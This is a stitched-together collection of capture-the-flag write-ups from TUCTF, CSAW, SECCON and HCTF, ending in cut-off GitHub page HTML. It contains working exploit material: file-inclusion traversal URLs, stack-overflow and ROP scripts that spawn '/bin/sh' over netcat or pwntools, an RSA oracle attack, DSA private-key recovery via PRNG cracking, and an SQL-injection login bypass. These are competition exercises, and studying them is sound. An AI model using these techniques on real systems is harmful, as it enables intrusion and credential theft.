```http://18.191.227.167/youfoundthejadegate/gate.htmlTUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}```
---
The Crystal Gate-------------
> I don't wanna go anywhere. > http://18.191.227.167/
Continuing to analyze the Git repository's content, we see _staged_, but non-committed changes:
```';echo 'Note2: I can\'t seem to remember the param. It\'s "file"';echo '';
if (isset($_GET['file'])) { $file = $_GET['file']; if (strpos($file, '/etc/passwd') == true) { include($file); } elseif (strpos($file, '.ssh') == true) { include($file); echo ''; echo 'Probably shouldn\'t put my own key in my own authorized keys, but oh well.'; }}?>```
That certainly looks exploitable! For one, `strpos` only checks that the substring is _somewhere_ in `$file`. After trying different values of `$file`, I realized that the code seen in the repo wasn't exactly what's running on the server. The exploit is even easier, allowing inclusion of _any_ file:
```http://18.191.227.167/crystalsfordays/traversethebridge.php?file=..http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../..http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html```
And we got the flag!
```Note: Only used for access management and to check user info.Note2: I can't seem to remember the param. It's "file"<html> THE END Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process. - Joker TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}</html>```
THE END
Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process.
- Joker
TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!} |
#### TUCTF CTF 2018 - Shella Hard 476 - Pwn
##### Challenge
Difficulty: mind-melting hardThis program is crap! Is there even anything here?
nc 3.16.169.157 12345
#### Summary
It is a pwn task with a classic buffer stack overflow. The binary has NX enabled, and the way to get a shell is via *execve*. In addition, we have the string */bin/sh* in the code.
#### Solution
```bashshella-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4bf12a273afc940e93699d77a19496b781e88246, not stripped```
```assembly[0x0804843b]> iIarch x86baddr 0x8048000binsz 6047bintype elfbits 32canary falseclass ELF32crypto falseendian littlehavecode trueintrp /lib/ld-linux.so.2lang clinenum truelsyms truemachine Intel 80386maxopsz 16minopsz 1nx trueos linuxpcalign 0pic falserelocs truerelro partialrpath NONEstatic falsestripped falsesubsys linuxva true[0x0804843b]> aflladdress size nbbs edges cc cost min bound range max bound calls locals args xref frame name========== ==== ===== ===== ===== ==== ========== ===== ========== ===== ====== ==== ==== ===== ====0x080482cc 35 3 3 2 19 0x080482cc 35 0x080482ef 2 0 0 1 12 sym._init0x08048300 6 1 0 1 3 0x08048300 6 0x08048306 0 0 0 1 0 sym.imp.read0x08048310 6 1 0 1 3 0x08048310 6 0x08048316 0 0 0 1 0 sym.imp.__libc_start_main0x08048320 6 1 0 1 3 0x08048320 6 0x08048326 0 0 0 1 0 sym.imp.execve0x08048330 6 1 0 1 3 0x08048330 6 0x08048336 0 0 0 1 0 sub.__gmon_start_3300x08048340 33 1 0 1 20 0x08048340 33 0x08048361 1 0 0 0 28 entry00x08048370 4 1 0 1 4 0x08048370 4 0x08048374 0 0 0 3 0 sym.__x86.get_pc_thunk.bx0x08048380 43 4 5 3 22 0x08048380 43 0x080483ab 0 0 0 1 24 sym.deregister_tm_clones0x080483b0 53 4 5 3 28 0x080483b0 53 0x080483e5 0 0 0 2 24 sym.register_tm_clones0x080483f0 30 3 3 2 15 0x080483f0 30 0x0804840e 1 0 0 0 8 sym.__do_global_dtors_aux0x08048410 40 4 6 4 24 0x08048410 43 0x0804843b 0 0 0 0 28 entry1.init0x0804843b 29 1 0 1 18 0x0804843b 29 0x08048458 1 1 0 1 32 sym.main0x08048458 26 1 0 1 16 0x08048458 26 0x08048472 1 0 0 0 4 sym.giveShell0x08048480 93 4 5 3 50 0x08048480 93 0x080484dd 2 0 2 1 28 sym.__libc_csu_init0x080484e0 2 1 0 1 3 0x080484e0 2 0x080484e2 0 0 0 1 0 sym.__libc_csu_fini0x080484e4 20 1 0 1 12 0x080484e4 20 0x080484f8 1 0 0 0 12 sym._fini[0x0804843b]> iz000 0x00000500 0x08048500 7 8 (.rodata) ascii /bin/sh
```
As every stack buffer overflow challenges, we will find the offset.
```assemblygdb-peda$ pattern create 100 inputWriting pattern of 100 chars to filename "input"gdb-peda$ r < input Starting program: /home/hiro/CTF/TUCTF_2018/pwn_shella/shella-hard < input
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]EAX: 0x0 EBX: 0xb7fbc000 --> 0x1a8da8 ECX: 0xbffff398 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\377\277L\364\377\277\232\316\376\267\001")EDX: 0x1e ESI: 0x0 EDI: 0x0 EBP: 0x41434141 ('AACA')ESP: 0xbffff3b0 ("(AADAA\377\277L\364\377\277\232\316\376\267\001")EIP: 0x41412d41 ('A-AA')EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41412d41[------------------------------------stack-------------------------------------]0000| 0xbffff3b0 ("(AADAA\377\277L\364\377\277\232\316\376\267\001")0004| 0xbffff3b4 --> 0xbfff4141 --> 0x0 0008| 0xbffff3b8 --> 0xbffff44c --> 0xbffff5d2 ("XDG_VTNR=7")0012| 0xbffff3bc --> 0xb7fece9a (<call_init+26>: add ebx,0x12166)0016| 0xbffff3c0 --> 0x1 0020| 0xbffff3c4 --> 0xbffff444 --> 0xbffff5a1 ("/home/hiro/CTF/TUCTF_2018/pwn_shella/shella-hard")0024| 0xbffff3c8 --> 0xbffff3e4 --> 0xa008f5bd 0028| 0xbffff3cc --> 0x804a010 --> 0xb7e2c970 (<__libc_start_main>: push ebp)[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41412d41 in ?? ()gdb-peda$ pattsRegisters contain pattern buffer:EIP+0 found at offset: 20EBP+0 found at offset: 16Registers point to pattern buffer:[ECX] --> offset 0 - size ~71[ESP] --> offset 24 - size ~47Pattern buffer found at:0xbffff398 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])References to pattern buffer found at:0xb7f6e085 : 0xbffff398 (/lib/i386-linux-gnu/i686/cmov/libc-2.19.so)0xbffff37c : 0xbffff398 ($sp + -0x34 [-13 dwords])0xbffff390 : 0xbffff398 ($sp + -0x20 [-8 dwords])```
Alright, the EIP to overwrite is at offset 20. But the instruction *leave* will copy the frame pointer into the stack, so, there we have to write the address where we want to jump - 0x4 (execve - 0x4). after this, we put the address of execve, a dummy and the address of /bin/sh with a *NULL* byte at the end.
```"\x01\x00"+"A"*14+"\x63\x84\x04\x08"+"AAAA"+"\x00\x85\x04\x08"+"\x00"```
The first 0x1 is because we need to set 0x1 into ECX register, in order to executes correctly *execve*.
We launch against the server:
```bashhiro@HackingLab:~/CTF/TUCTF_2018/pwn_shella$ python -c 'print "\x01\x00"+"A"*14+"\x63\x84\x04\x08"+"\x67\x84\x04\x08"+"\x00\x85\x04\x08"+"\x00"' > inputhiro@HackingLab:~/CTF/TUCTF_2018/pwn_shella$ (cat input ; cat) | nc 3.16.169.157 12345lschalflagiduid=501(chal) gid=501(chal) groups=501(chal)cat flagTUCTF{175_wh475_1n51d3_7h47_c0un75}```
Happy hacking! :) |
No captcha required for preview. Please, do not write just a link to original writeup here.
------------------------------[Original writeup](https://github.com/7feilee/ctf_writeup/tree/master/2018_11_27_bctf) |
TL;DR: stack overflow through a bug in `snprintf` concatenation, pop shell via ROP, decrypt flag with TPM 2.0 tools. See [original writeup](https://abiondo.me/2018/12/02/pwn2win18-tpm20/). |
# Crypto 500 - Lost Mind
> Writeup by Aditya Gupta
## Service: [server.py](server.py)
This challenge was similar to [Lost Key](https://ctftime.org/task/6888) from [HITCON CTF 2018](https://ctf.hitcon.org). We were given the option to encrypt the flag along with the offset and length padded with random data or decrypt any provided cipher text and recieve the last byte after decryption.
The amount of rounds were however insufficient to decrypt using the technique described in p4's [writeup](https://github.com/p4-team/ctf/tree/master/2018-10-20-hitcon/crypto_rsa). Anyway, I tried to run the expoit(with some modifications) setting offset `0` and length `1` hoping to gain some information.
After running the exploit few times I noticed that the first byte was mostly `f`. Could it be `flag{XXXXX}`? Trying with offset `1` gave mostly `l` confirming our guess.
Turns out that the number of rounds allowed were just enough for the `beg` or `end` of the LSB oracle to converge such that the first byte could be revealed.
Running the exploit repeatedly by changing the offset and checking for the most frequent character revealed the flag.
## [Exploit Code](lost_mind.py)
```pythonimport gmpy2import sysimport itertoolsimport re
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytesfrom pwn import *
l=[0]
def lsb_oracle(bits,n): beg=0 end=n-1 for i in bits: mid=(beg+end)/2 if not i: end=mid else: beg=mid return long_to_bytes(end),long_to_bytes(beg)
def encrypt(data): l[0]+=1 r.recvuntil("=\n") r.recvuntil("=\n") r.sendline("1") r.recvuntil("input:") r.sendline(data) return r.recvline().strip()
def decrypt(data): l[0]+=1 r.recvuntil("=\n") r.recvuntil("=\n") r.sendline("2") r.recvuntil("input:") r.sendline(data) return r.recvline().strip()
def recover_flag(enc, dec, flag, n): x = flag bits = [] lastchar = int(dec(long_to_bytes(flag)), 16) print lastchar prev = lastchar multiplier = int(enc(long_to_bytes(2 ** 8)), 16) try: for i in range(128): x = (x * multiplier)%n expected_value = int(dec(long_to_bytes(x)), 16) real_x = prev for configuration in itertools.product([0, 1], repeat=8): res = real_x % 256 for bit in configuration: res = res * 2 if bit == 1: res = res - n res = res % 256 if res == expected_value: bits.extend(configuration) break prev = expected_value except: pass return lsb_oracle(bits,n)[0][0]
def recover_pubkey(enc): two = int(enc('\x05'), 16) three = int(enc('\x07'), 16) power_two = int(enc('\x19'), 16) power_three = int(enc('\x31'), 16) n = gmpy2.gcd(two ** 2 - power_two, three ** 2 - power_three)
while n % 2 == 0: n = n / 2 while n % 3 == 0: n = n / 3 while n % 5 == 0: n = n / 5 while n % 7 == 0: n = n / 7
return n
D=[]for i in xrange(len(flag),40): d=[] try: for j in xrange(10): r = remote("crypto.chal.csaw.io",1003) l=[0] r.recvuntil("len:") r.sendline("{},1".format(str(i))) r.recvuntil("encrypted flag: ") flag = int(r.recvline().strip(),16) n = recover_pubkey(encrypt) t=recover_flag(encrypt,decrypt,flag,n) d.append(t[0]) print d,i except Exception as e: print d,e D.append(d) print dprint D
flag = ''.join([max(i,key=lambda x:i.count(x)) for i in D])
print flag``` |
# Crypto 400 - Disastrous Security Apparatus
> Writeup by Aditya Gupta
## Server: [main.py](main.py)
We are given a Flask web server that allows to sign any data using DSA with SHA1 hashes. It gives flag when we submit a valid signature of a valid Fernet ciphertext but the hash algorithm here is SHA256. We can retrieve the `public_key` too.
We also have a forgot password feature where we can obtain any number of random 64 bit integers from the built-in `random` module.
```[email protected]("/forgotpass")def returnrand(): # Generate a random value for the reset URL so it isn't guessable random_value = binascii.hexlify(struct.pack(">Q", random.getrandbits(64))) return "https://innitech.local/resetpass/{}".format( random_value.decode("ascii") )```
The random k value in `sign` is also generated using the built-in `random` module.
```[email protected]("/sign/<data>")def signer(data): r, s = sign(ctf_key, data) return json.dumps({"r": r, "s": s})
def sign(ctf_key, data): data = data.encode("ascii") pn = ctf_key.private_numbers() g = pn.public_numbers.parameter_numbers.g q = pn.public_numbers.parameter_numbers.q p = pn.public_numbers.parameter_numbers.p x = pn.x k = random.randrange(2, q) kinv = _modinv(k, q) r = pow(g, k, p) % q h = hashlib.sha1(data).digest() h = int.from_bytes(h, "big") s = kinv * (h + r * x) % q return (r, s)```
We can call `forgotpass` any number of times and guess the internal state of the PRNG using [`randcrack`](https://github.com/tna0y/Python-random-module-cracker).
```pythondef getrand64(): temp = rq.get(url+"forgotpass").text.split("/")[-1] return struct.unpack(">Q",binascii.unhexlify(temp))[0]
rc = RandCrack()
for i in range(624//2): print (i) temp = getrand64() rc.submit(temp&0xffffffff) rc.submit(temp>>32)```
Now we can call `sign` and guess the `k` value. Knowing `k` completely breaks DSA as we can retrieve the private-key `x` from the following steps.
We know all values in the equation except `x`.
Rewriting this as
we can get `x`.
```pythondef getx(pk): h = hashlib.sha1("AAAA".encode("ascii")).digest() h = int.from_bytes(h, "big") g=pk['g'] q=pk['q'] p=pk['p'] sig = sign() s=sig['s'] r=sig['r'] k=rc.predict_randrange(2,q) x=int((s*k-h)*gmpy2.invert(r,q) % q) return x```
The only problem was that the request for forgot password had to be sent without any interruption as there were no seperate sessions. After a few tries though we were able to successfully create an accurate `rc` and get `x`. ```pythonkey = DSA.construct((y,g,p,q,x))pem_data=(key.exportKey())ctf_key = load_pem_private_key( pem_data, password=None, backend=default_backend())
data = challenge().encode("ascii")sig = binascii.hexlify(ctf_key.sign(data,hashes.SHA256()))
print (sig,data)print (rq.post(url+"capture",data={"signature":sig,"challenge":data}).text)```
After this we only need to sign a `challenge` and capture the flag.
|
- [murmur](#murmur)- [Runme](#runme)- [Special Instructions](#special-instructions)- [Special Device File](#special-device-file)- [block](#block)- [shooter](#shooter)- [tctkToy](#tctktoy)
# murmur
Thrilling to see the OSASK, I have a copy of 30日でできる! OS自作入門, which teach you to implement a simple OS in 30 days.
# Runme
Compare the result of GetCommandLineA() to `C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}`
The flag is `SECCON{Runn1n6_P47h}`
# Special Instructions
The architecture of the elf is `moxie`, can be known by `strings`.
The binary would print :
```shThis program uses special instructions.
SETRSEED: (Opcode:0x16) RegA -> SEED
GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA```
Indeed, we can find some weird instructions in binary dump:
```0000154a <set_random_seed>: 154a: 16 20 bad 154c: 04 00 ret
0000154e <get_random_value>: 154e: 17 20 bad 1550: 04 00 ret
00001552 <decode>: 1552: 06 18 push $sp, $r6 1554: 06 19 push $sp, $r7 1556: 06 1a push $sp, $r8 1558: 06 1b push $sp, $r9 155a: 06 1c push $sp, $r10 155c: 06 1d push $sp, $r11```
Here, the implement of xorshift32 is differ from [wiki](https://en.wikipedia.org/wiki/Xorshift) ( I'll show you the reason in the next section )
```cuint32_t xorshift32(uint32_t state[static 1]){ /* Algorithm "xor" from p. 4 of Marsaglia, "Xorshift RNGs" */ uint32_t x = state[0]; x ^= x << 13; x ^= x >> 17; x ^= x << 15; //the original version is << 5 state[0] = x; return x;}```
Xor `flag`, `randval`, `get_random_value` to get the flag.
The flag is `SECCON{MakeSpecialInstructions}`
# Special Device File
This binary should be more easy to understand, because all you need to do is dragging it into IDA.
The key point is how `/dev/xorshift64` work, there are serveral implementation online, it's time comsuming to test everyone.
But, the SECCON is hold by japanese, where a japanese engineer would go for searching the information about things they don't understand ?
Wiki, but in japanese......
```cx = x ^ (x << 13);x = x ^ (x >> 7);return x = x ^ (x << 17);```
Again, xor `flag`, `randval`, `get_random_value` to get the flag.
The flag is `SECCON{UseTheSpecialDeviceFile}`
# block
Ｍy first time to reverse a unity game, it seems not so hard.
Decompress the `.apk`, the `C#` script of game is located at `assets/bin/Data/Managed/Assembly-CSharp.dll`.
There are only two methods ,`Start` and `Update`, obviously, the `Update` keep rotate the flag behind, let's modify them to :
```csharp#the axis of object seems not parellel or vertical to camera
public void Start(){ base.transform.position = new Vector3(0f, -4.5f, 2f); base.transform.Rotate(new Vector3(0f, -90f, 0f));}
public void Update(){}```
Pack it back and launch it.
The flag is `SECCON{4R3_Y0U_CH34+3R?}`
# shooter
Again,a unity game.
Basically, it's arcade game, and the players would be ranked **online** with other players.
This one was builded by IL2CPP.
How I found that it was builded by IL2CPP (it's also my first time to reverse such thing):
First, there is no `Assembly-CSharp.dll`.
It may implies the possibility of 2 things (or more) :
- The `dll` was some how being packed or obfuscated- The game was build in a different way
Second, the layout of diretory seems to be different with last challenge, block.
Then I found that there are lots of keywords in `assets/bin/Data/Managed/Metadata/global-metadata.dat`
After google it, I could dump the pseudo code from `global-metadata.dat` and `libil2cpp.so` ( main logic ) by [Il2CppDumper](https://github.com/Perfare/Il2CppDumper).
But there is nothing valuable in the game logic......
Observing strings, I found there are some weird strings :
```shooter.pwn.seccon.jpstaging.shooter.pwn.seccon.jpdevelop.shooter.pwn.seccon.jp/admin/api/v1/score```
Now, I can get the highest score by sending:
```POST /api/v1/scores HTTP/1.1Expect: 100-continueX-Unity-Version: 2018.2.11f1Content-Type: application/x-www-form-urlencodedContent-Length: 35User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; Android SDK built for x86 Build/OSM1.180201.007)Host: shooter.pwn.seccon.jpConnection: Keep-AliveAccept-Encoding: gzip
score=2147483647&name=zzzzzzzzzzzzzzzzzzzzzzzz```
It's useless, server won't send flag back.
And I don't think that the command injection would work.
Then, I found that http://staging.shooter.pwn.seccon.jp/admin will redirect you to http://staging.shooter.pwn.seccon.jp/admin/sessions/new
SQL injection works....
We can login as admin by sending `' ))) UNION (SElECT 1)#` as password.
What's more, we can do the time base SQL injection.
This part was done by [kaibro](https://github.com/w181496), my teamate.
1. leak first db : `shooter_staging`
1. leak first table in it : `ar_internal_metadata`
1. leak second table in it : `flags`
1. columns in `flags`: - `id` - `value` - `created_at` - `updated_a t`
The flag is `SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}`# tctkToy
I overdozed, only left an hour to solve this lol
By a quick glance, I guess the binary would execute an tcl script, and the goal is to build a window similar to the picture ? |
## Exploitation Class
The program allocates a `char data[22][12];` buffer on the stack, and we can read and write it.
The vulnerability is here
```cunsigned __int64 __fastcall writeData(char *a1){ unsigned int v2; // [rsp+4h] [rbp-14h] unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u); puts("Which entry to write?"); v2 = 0; __isoc99_scanf("%u", &v2;; if ( v2 <= 0xFC ) { puts("What to write?"); read(0, &a1[12 * v2], 0xCuLL); } return __readfsqword(0x28u) ^ v3;}```
It ensures that index is `<= 0xfc`, however, it should be `idx * 12 <= 0xfc`, so this leads to a index out of bound.
Also, there is no null termination here, so we can leak some data.
There is stack canary here, so we need to leak the canary and libc address. Because we can read the last element of the array, we can fill all of the bytes such that there is no null termination from the last element to the data we want to leak. Then we can leak the data by showing the last element.
After leaking the data, it is very easy to ROP and execute the `system("/bin/sh")`
```pythonfrom pwn import *
g_local=Falsecontext.log_level='debug'
if g_local: sh = process("./exploitClass")#env={'LD_PRELOAD':'./libc.so.6'} MAIN_RET_OFF = 0x20830 ONE_GADGET = 0x45216 POP_RDI = 0 e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") gdb.attach(sh)else: sh = remote("class.uni.hctf.fun", 24241) #sh = process("./exploitClass", env={'LD_PRELOAD':'./libc.so.6'}) MAIN_RET_OFF = 0x24223 ONE_GADGET = 0x451F9 #0x45254 POP_RDI = 0x23BE3 e = ELF("./libc.so.6")
def read(idx): sh.send("1\n") sh.recvuntil("Which entry to show?\n") sh.send(str(idx) + "\n") ret = sh.recvuntil("\n") sh.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n") return ret[:-1]
def write(idx, data): sh.send("2\n") sh.recvuntil("Which entry to write?\n") sh.send(str(idx) + "\n") sh.recvuntil("What to write?\n") sh.send(data) sh.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
sh.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")write(21, "B" * 12)write(22, "C")#write(24, "A" * 8 + '\xa0') #return to maincanary = u64(read(21)[0xc:0xc+8]) - ord('C')print hex(canary)for i in xrange(0,4): write(22 + i, "B" * 0xc)libc_addr = u64(read(21)[0x3c:0x3c+6] + "\x00\x00") - MAIN_RET_OFF
write(22, p64(canary))write(24, 'A' * 8 + p32((libc_addr + POP_RDI) & 0xffffffff))write(25, p32((libc_addr + POP_RDI) >> 0x20) + p64(libc_addr + next(e.search("/bin/sh"))))write(26, p64(libc_addr + e.symbols["system"]))print hex(libc_addr)write(29, '\x00' * 0xc)sh.send("3\n")sh.interactive()```
## Important Service
0x401 0 can cause the buffer overflow, which can overwrite one lowest byte of the function pointer in the stack
```cchar vulnbuf[1024]; // [rsp+0h] [rbp-420h]int (__fastcall *func_addr)(char *, int, int); // [rsp+400h] [rbp-20h]//...fread(vulnbuf, 1uLL, (signed int)vullen, stdin);func_addr(vulnbuf, vullen, v7);```
Although there is PIE in this program, the lowest 12 bits will not change due to the PIE. Initially the function pointer in the stack is `base_addr + 0x11BC`, and the shell function address is `base_addr + 0x11A9`, so if we change `0xbc` to `0xa9`, the shell function will be called instead.
```pythonfrom pwn import *
g_local=Falsecontext.log_level='debug'store_idx = 0
if g_local: sh = process("./importantservice")#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("importantservice.uni.hctf.fun", 13375)
sh.recvuntil("Please enter width and height e.g.: 5 8\n")sh.send(str(0x401) + " 0\n")sh.recvuntil("Please provide some data e.g.: 12345\n")sh.send("A" * 0x400 + "\xa9")
sh.interactive()```
## Kindergarten PWN
In the program, an index is required to be given, and the program will show the original byte at that index and let you to change it. The problem is that it did not check the index must be `>=0`
```cif ( v5 <= 31 )//v5 < 0{ printf("the value at %d is %hhd. give me a new value:\n> ", (unsigned int)v5, (unsigned int)array[v5]); v3 = &v4; if ( (unsigned int)__isoc99_scanf("%hhd", &v4) != 1 ) break; array[v5] = v4;}```
and array is a global variable, and the got table can be overwritten, so we can use this to leak the libc address and rewrite the got table to `one_gadget`
```pythonfrom pwn import *
g_local=Falsecontext.log_level='debug'store_idx = 0
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")if g_local: sh = process("./kindergarten")#env={'LD_PRELOAD':'./libc.so.6'} #sh = process(['ld.so.2', './user.elf']) gdb.attach(sh)else: sh = remote("kindergarten.uni.hctf.fun", 13373) #ONE_GADGET_OFF = 0x4557a
def one_iter(idx, val = None): sh.recvuntil("give me an index:\n> ") sh.sendline(str(idx)) sh.recvuntil("the value at " + str(idx)+ " is ") ret = sh.recvuntil(".") sh.recvuntil(" give me a new value:\n> ") ret = int(ret[:len(ret)-1]) if val: sh.sendline(str(val)) else: sh.sendline(str(ret)) return ret & 0xff
def leak_qword(off): ret = 0 for i in xrange(0,8): ret |= one_iter(off + i) << (8 * i) return ret
def shoot_qword(off, val): for i in xrange(0,8): one_iter(off + i, (val >> (8 * i)) & 0xff)
libc_addr = leak_qword(0x4018 - 0x4080) - e.symbols["printf"]#leak address of `printf`print hex(libc_addr)shoot_qword(0x4030 - 0x4080, libc_addr + 0x4526a) #0x30 one_gadget#rewirte the `exit` function to one_gadgetsh.recvuntil("> ")sh.sendline("asd")
sh.interactive()```
|
## Miss Scarlet's Resume Requests - Web 398:
**Description:** Something is up with Miss's Scarlet's acting site. Maybe you can take a look? **Challenge:** http://18.220.239.106/ **Difficulty:** Easy **Solved by:** Tahar
**Solution:** Open the URL, and head to: **http://18.220.239.106/contact.php**. And then we go to **http://18.220.239.106/Boddy/**. We open the source code of the web page and find something interesting hinting for the HTTP Method. We do a simple **CURL POST Request and get the Flag!!**
```curl -X POST http://18.220.239.106/Boddy/```
**Flag:** TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357} |
TUCTF 2018: Shella Easy=======================
## Description
Difficulty: easy-ish
Want to be a drive-thru attendant?Well, no one does... But! the best employee receives their very own flag!whatdya say?
`nc 52.15.182.55 12345`
## Solution
The target uses `gets` to read into a stack buffer which is a straightforwardexample of a stack buffer overflow. The target also has an executable stack,which means that we can simply write our shellcode in the buffer, then jump toit by overwriting the saved return address. The binary even prints the addressof the stack buffer we will overflow before asking us for input so this ispretty much as simple as it gets in terms of exploitation.
The only thing that stands between us and a shell is an additional check thatthe target is doing. During initialization one of the stack variables is setto 0xcafebabe but before returning from `main` the target checks if the samevariable is 0xdeadbeef. If this check fails, the target calls `exit`, thus neverreturning (and never executing our shellcode). To make it succeed, we can justoverwrite the variable with the correct value when smashing the stack.
```$ python2 exploit.py[+] Opening connection to 52.15.182.55 on port 12345: Done[*] Switching to interactive mode$ lschalflag$ cat flagTUCTF{1_607_4_fl46_bu7_n0_fr135}$[*] Closed connection to 52.15.182.55 port 12345``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 